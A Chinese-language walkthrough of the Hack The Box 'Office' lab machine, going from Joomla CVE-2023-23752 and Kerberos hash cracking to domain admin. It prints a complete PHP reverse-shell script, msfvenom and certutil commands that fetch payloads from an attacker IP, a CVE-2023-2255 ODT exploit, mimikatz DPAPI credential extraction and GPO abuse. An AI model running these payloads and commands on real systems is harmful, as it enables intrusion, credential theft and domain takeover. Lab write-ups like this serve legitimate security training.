admin管理员组文章数量:1549422
端口扫描&信息收集
使用nmap对靶机进行扫描
nmap -sC -sV 10.10.11.3
开放了80端口,并且注意到该ip对应的域名为office.htb,将其加入到hosts文件中访问之
注意到扫描出来的还有robots文件,经过尝试后只有administrator界面是可以访问的
访问后,发现是一个Joomla的登录界面
使用默认用户名密码登录尝试后,发现登录失败,使用joomscan判断joomla的版本,查看是否存在漏洞
joomscan --url http://10.10.11.3
joomla的版本为4.2.7,存在Joomla未授权访问漏洞(CVE-2023-23752),利用方式为直接访问/api/index.php/v1/config/application?public=true,这里利用该漏洞
红框处有泄露用户名密码root/H0lOgrams4reTakIng0Ver754!
回想刚刚的端口扫描,靶机没有开放ssh端口,表示此处密码不能用于22端口,但是开放了445端口,或许这里是一个利用点
发现用户名密码不正确,猜测可能是用户名不正确,使用kerbrute对目标域名进行用户名爆破
./kerbrute userenum --dc 10.10.11.3 -d office.htb /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
一个个尝试后,发现用户dwolfe能够成功连接上
smbclient -L //10.10.11.3/ -U dwolfe%H0lOgrams4reTakIng0Ver754!
逐个查看共享文件夹里边的内容,在SOC Analysis文件夹中有一个pcap文件,使用mget将其下载到本地
smbclient //10.10.11.3/SOC\ Analysis -U dwolfe%H0lOgrams4reTakIng0Ver754!
不管是tcp或者是udp流,都没有发现异常流量,但是发现了存在Kerberos流量
注意到在第二个数据包中,有如下敏感数据
此处可以使用hashcat来破解kerberos预认证数据包密码
首先能够注意到,流量包中的加密模式为18,并且wireshark告诉我们为SHA-256,在https://hashcat/wiki/doku.php?id=example_hashes中,我们能看到能够破解Kerberos的方式为7500,但是7500模式中的加密模式为23而并非18,继续查找,发现19900模式同样能够破解Kerberos,并且加密模式正好是18,但是19900模式仅在beta模式中存在,下载链接为https://hashcat/beta/
下载完成后,输入以下命令
hashcat.exe -m 19900 "$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc" rockyou.txt
我们在密文之前传入的其他文本($krb5pa$18$tstark$OFFICE.HTB)是hashcat要使用的参数列表,使用$符号分隔,前两个只是该哈希类型的hashcat格式的一部分
Krb5pa表示kerberos5预身份验证,18表示kerberos加密类型18(AES-256),tstark表示用户名,可以在流量包中的其他位置找到,OFFICE.HTB表示域名,同样可以在流量包中的其他位置找到,均在上图中标注出来
破解出来的密码在原字符串的末尾,为:playboy69
回到joomla的登录界面,尝试使用tstark/playboy69登录,发现还是不能登录,将playboy69作为定量,使用burpsuite进行爆破,结果爆破出用户名为administrator(-_-||)
进入界面后,查找功能点,发现存在system->site Templates能够修改主页代码
直接将error.php的界面改为一段反弹shell的代码
<?php
// Copyright (c) 2020 Ivan Šincek
// v2.6
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github/pentestmonkey/php-reverse-shell.
class Shell {
private $addr = null;
private $port = null;
private $os = null;
private $shell = null;
private $descriptorspec = array(
0 => array('pipe', 'r'), // shell can read from STDIN
1 => array('pipe', 'w'), // shell can write to STDOUT
2 => array('pipe', 'w') // shell can write to STDERR
);
private $buffer = 1024; // read/write buffer size
private $clen = 0; // command length
private $error = false; // stream read/write error
private $sdump = true; // script's dump
public function __construct($addr, $port) {
$this->addr = $addr;
$this->port = $port;
}
private function detect() {
$detected = true;
$os = PHP_OS;
if (stripos($os, 'LINUX') !== false || stripos($os, 'DARWIN') !== false) {
$this->os = 'LINUX';
$this->shell = '/bin/sh';
} else if (stripos($os, 'WINDOWS') !== false || stripos($os, 'WINNT') !== false || stripos($os, 'WIN32') !== false) {
$this->os = 'WINDOWS';
$this->shell = 'cmd.exe';
} else {
$detected = false;
echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
}
return $detected;
}
private function daemonize() {
$exit = false;
if (!function_exists('pcntl_fork')) {
echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
} else if (($pid = @pcntl_fork()) < 0) {
echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
} else if ($pid > 0) {
$exit = true;
echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
// once daemonized, you will actually no longer see the script's dump
} else if (posix_setsid() < 0) {
echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
} else {
echo "DAEMONIZE: Completed successfully!\n";
}
return $exit;
}
private function settings() {
@error_reporting(0);
@set_time_limit(0); // do not impose the script execution time limit
@umask(0); // set the file/directory permissions - 666 for files and 777 for directories
}
private function dump($data) {
if ($this->sdump) {
$data = str_replace('<', '<', $data);
$data = str_replace('>', '>', $data);
echo $data;
}
}
private function read($stream, $name, $buffer) {
if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
$this->error = true; // set the global error flag
echo "STRM_ERROR: Cannot read from {$name}, script will now exit...\n";
}
return $data;
}
private function write($stream, $name, $data) {
if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
$this->error = true; // set the global error flag
echo "STRM_ERROR: Cannot write to {$name}, script will now exit...\n";
}
return $bytes;
}
// read/write method for non-blocking streams
private function rw($input, $output, $iname, $oname) {
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
$this->dump($data); // script's dump
}
}
// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
// we must read the exact byte length from a stream and not a single byte more
private function brw($input, $output, $iname, $oname) {
$size = fstat($input)['size'];
if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
// for some reason Windows OS pipes STDIN into STDOUT
// we do not like that
// so we need to discard the data from the stream
while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
$this->clen -= $bytes;
$size -= $bytes;
}
}
while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
$size -= $bytes;
$this->dump($data); // script's dump
}
}
public function run() {
if ($this->detect() && !$this->daemonize()) {
$this->settings();
// ----- SOCKET BEGIN -----
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
if (!$socket) {
echo "SOC_ERROR: {$errno}: {$errstr}\n";
} else {
stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
// ----- SHELL BEGIN -----
$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
if (!$process) {
echo "PROC_ERROR: Cannot start the shell\n";
} else {
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
}
// ----- WORK BEGIN -----
$status = proc_get_status($process);
@fwrite($socket, "SOCKET: Shell has connected! PID: {$status['pid']}\n");
do {
$status = proc_get_status($process);
if (feof($socket)) { // check for end-of-file on SOCKET
echo "SOC_ERROR: Shell connection has been terminated\n"; break;
} else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still running
echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams
} // use proc_get_status() instead
$streams = array(
'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
'write' => null,
'except' => null
);
$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
if ($num_changed_streams === false) {
echo "STRM_ERROR: stream_select() failed\n"; break;
} else if ($num_changed_streams > 0) {
if ($this->os === 'LINUX') {
if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
} else if ($this->os === 'WINDOWS') {
// order is important
if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
}
}
} while (!$this->error);
// ------ WORK END ------
foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
}
// ------ SHELL END ------
fclose($socket);
}
// ------ SOCKET END ------
}
}
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('IP',PORT);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>
修改完成后保存,访问该界面
拿到shell
权限提升
查看当前用户权限
发现还不是用户权限,先想办法提升到用户权限,查看靶机中有哪些用户
发现有之前爆破出密码的tstark用户,使用RunasCs进行提权,先使用msfvenom生成一个payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT] -f exe -o payload.exe
将本地的RunasCs和payload上传到靶机
certutil.exe -urlcache -split -f http://10.10.14.2:8989/RunasCs.exe
certutil.exe -urlcache -split -f http://10.10.14.2:8989/payload.exe
使用RunasCs以tstark用户运行payload.exe,并且在msfconsole开启监听
RunasCs.exe tstark playboy69 payload.exe
成功拿到用户权限
-------------------------------更新分界线-------------------------------
查看端口开放情况
开放了8083端口,尝试将其转发出来看看
先将chisel上传到靶机
kali开启转发端口
chisel server -p 6150 --reverse
Windows客户端连接kali的转发端口,并且将自己的8083端口转发到kali本地的8083
./chisel.exe client 10.10.14.8:6150 R:8083:127.0.0.1:8083
这个界面是一个上传简历的界面,随意上传一个php文件后,报如下错误
只能上传Doc, Docx, Docm, Odt文件,这里我们利用odt文件的漏洞(CVE-2023-2255)
先在users/public文件夹中上传一个msf的payload
在kali中运行如下代码
python3 CVE-2023-2255.py --cmd 'C:\Users\Public\pay1.exe' --output test1.odt
这段代码作用是利用odt文件的漏洞,在cmd中运行单引号内的命令
在msf开启一个针对payload的监听
上传odt文件
获取到新的shell
横向移动
参考https://book.hacktricks.xyz/中的DPAPI模块内容进行横向
使用cmdkey /list查看当前还有什么用户
还有一个HHogan用户需要我们去横向,上传一个mimikatz到靶机,使用vault::list查看凭据信息
列出了ppotts用户的windows凭据保管库内容和Windows Credentials凭据,这里逐一使用以下命令寻找受保护的凭据内容
dir /a:h C:\Users\PPotts\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\
在运行了第二条命令后,能够显示出被保护的凭据
再在mimikatz中使用命令dpapi::cred查找数据
dpapi::cred /in:C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\18A1927A997A794B65E9849883AC3F3E
dpapi::cred /in:C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4
dpapi::cred /in:C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\E76CCA3670CD9BB98DF79E0A8D176F1E
其中,dpapi::cred命令代表着使用这个模块来对凭据进行解密
用于加密用户 RSA 密钥的 DPAPI 密钥存储在%APPDATA%\Microsoft\Protect\{SID}目录下,其中 {SID} 是该用户的。DPAPI 密钥与保护用户私钥的主密钥存储在同一文件中。它通常是 64 字节的随机数据
先列出ppotts用户AppData\Roaming\Microsoft\Protect\下的所有内容(此处为该用户的sid)
继续列出当前用户sid下的所有隐藏内容
powershell Get-ChildItem -Hidden C:\Users\ppotts\AppData\Roaming\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107\
使用mimikatz的dpapi::masterkey模块来解密最新的主密钥
dpapi::masterkey /in:"C:\Users\PPotts\AppData\Roaming\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb" /rpc
现在,域控制器已为我们解密,并将mimikatz放入其缓存中
dpapi::cache
使用缓存中的密钥mimikatz,我们可以显示上次的凭证文件
dpapi::cred /in:C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4
拿到了HHogan用户的密码H4ppyFtW183#,因为靶机开放了5895端口,使用evil-winrm登录
使用BloodHound导出所有域之间的关联数据
bloodhound-python -c ALL -u tstark -p 'playboy69' -d office.htb -dc dc.office.htb -ns 10.129.197.144
运行完毕后会在当前目录生成若干个json文件
使用BloodHound打开他们
安装BloodHound及其插件
apt install neo4j
apt install bloodhound
安装完成后使用命令neo4j start打开neo4j服务,进入到localhost:7474端口
初始用户名密码均为neo4j,登录后修改密码,打开bloodhound
bloodhound --no-sandbox
输入用户名密码,用户名为neo4j,密码为刚刚修改的密码后进入
选择upload data模块上传刚刚拿到的json数据
上传完毕后就能看到目前域之间的联系了
继续寻找信息,发现hhogan用户位于GPO组内
GPO Manager组成员可能被授予了修改、创建或链接组策略对象的权限,由于GPO MANERGERS@OFFICE.HTB这个组为AD中的安全组,因此可能可以利用GPO来进行横向移动
列出域中的所有 GPO
Get-GPO -All | Select-Object -ExpandProperty DisplayName
使用SharpGPOAbuse将HHogan添加为收到GPO影响的域控管理员
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount HHogan --GPOName "Default Domain Controllers Policy"
强制更新组策略
查看administrators组用户成员
现在HHogan用户即为administrator权限,提权成功
版权声明:本文标题:Hack The Box-Office 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/dongtai/1727230670a1103590.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论